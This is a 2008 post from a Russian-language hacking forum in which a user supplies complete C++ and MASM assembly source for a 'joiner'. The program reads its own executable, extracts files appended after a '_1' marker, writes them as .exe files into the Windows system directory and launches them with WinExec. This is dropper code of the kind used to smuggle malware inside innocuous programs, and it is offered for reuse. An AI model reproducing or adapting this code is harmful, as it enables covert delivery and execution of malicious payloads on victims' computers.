Показать сообщение отдельно

  #6  
Старый 09.11.2008, 00:14
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме:
1301036

Репутация: 1334
Отправить сообщение для cash$$$ с помощью ICQ
По умолчанию

Цитата:
Сообщение от xismyname  
На каком принципе создаються joiner-ы,есть ли у кого нибудь исходные коды joiner-а,желательно на языке C или C++.
Спасибо за внимание.
С++

Код:
#include "windows.h"
#pragma comment(linker,"/SECTION:.text,EWR") 
#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
//----------------------------------------------
char sys[260];
char file[260];
char* nfile =(char*)GlobalAlloc(NULL,1024*1024*50); // мах размер для клеющегося файла - 50мб
char* ofile = (char*)GlobalAlloc(NULL,1024*1024*100); //100мб под наш файл
DWORD dw , dw1,dw2,dwBytesRead;
DWORD x ,y,c;
x=0;
y=0;
c=0;
char temp[260];
HANDLE hFile1;
//-------------------------------------------------------
GetSystemDirectory(sys,260);
GetModuleFileName(NULL, file , 260);
HANDLE hFile = CreateFile(file,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
dw1= GetFileSize(hFile,&dw);
ReadFile(hFile,ofile,dw1 ,&dwBytesRead, NULL);
for(DWORD z=0;z<=dw1;z++){
x=z;
if(ofile[x]=='_'){ //_1 - разделитель
x++;
if(ofile[x]=='1'){   
wsprintf(temp,"%s\\%d.exe",sys,x);   
x++;
y=0;
while(1){
nfile[y]=ofile[x];
if(ofile[x]=='_'){
c=x+1;
if(ofile[c]=='1'){
break;
}
}
x++;
y++;
}
hFile1 = CreateFile(temp,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile1,nfile,y+1,&dw2,NULL);
CloseHandle(hFile1);
WinExec(temp,SW_SHOW);
}
}
}
return 0;
}
Asm

Код:
.386
.model flat,stdcall
option casemap:none
include ../INCLUDE/WINDOWS.inc
include ../INCLUDE/kernel32.inc
include ../INCLUDE/user32.inc
includelib ../LIB/kernel32.lib
includelib ../LIB/user32.lib
.data
.data?
sys byte <260>
file byte <260>
temp byte <260>
nfile byte <1024*1024*50>
ofile byte <1024*1024*100>
.const
.code
Main PROC
LOCAL dw3:DWORD , dw1:DWORD , dw2:DWORD , dwb:DWORD ,x1:DWORD , y1:DWORD ,c1:DWORD, hFile:HANDLE , hFile1:HANDLE
;----------------------------------------------------------------------------------------------------------
invoke GetSystemDirectory , addr sys , 260 
invoke GetModuleFileName , NULL , addr file , 260
;-----------------------------------------------------------------------------------------------------------
mov x1 , 0
mov y1, 0
mov c1,0
;------------------------------------------------------------------------------------------------------------
invoke CreateFile , addr file , GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile , eax
invoke GetFileSize , hFile , addr dw3
mov dw1 , eax
invoke ReadFile , hFile , addr ofile , dw1 , addr dwb,NULL
;------------------------------------------------------------------------------------------------------------
mov ebx ,0
.WHILE ebx <= dw1
mov x1 , ebx
.IF ofile[x1] == '_'
inc x1
.if ofile[x1] == '1'
invoke lstrcat , addr temp ,addr sys
invoke lstrcat , addr temp , '\\'
invoke lstrcat , addr temp , x1
invoke lstrcat , addr temp , '.exe'
inc x1
mov y1 , 0
mov edi , 0
;---------------------------------------------------------------------------------------------------------------------------
.WHILE edi == 0
mov AL , ofile[x1]
mov nfile[y1] ,  AL
.if ofile[x1] == '_'
mov  eax , x1
inc eax
.if ofile[eax] == '1'
mov edi ,1
.endif
.endif
inc x1
inc y1
.endw
;--------------------------------------------------------------------------------------------------------------------------------------
invoke CreateFile , addr temp , GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile1 , eax
inc y1
invoke WriteFile , hFile1 , addr nfile , y1 , dw2, NULL
invoke CloseHandle , hFile1
invoke WinExec , addr temp , SW_SHOW
.ENDIF
.ENDIF
inc ebx
mov edi ,0 
.while edi<=260
mov temp[edi],NULL
inc edi
.endw
.ENDW
;------------------------------------------------------------------------------------------------------------------------------------
invoke CloseHandle , hFile1
invoke ExitProcess , NULL
Main ENDP
end Main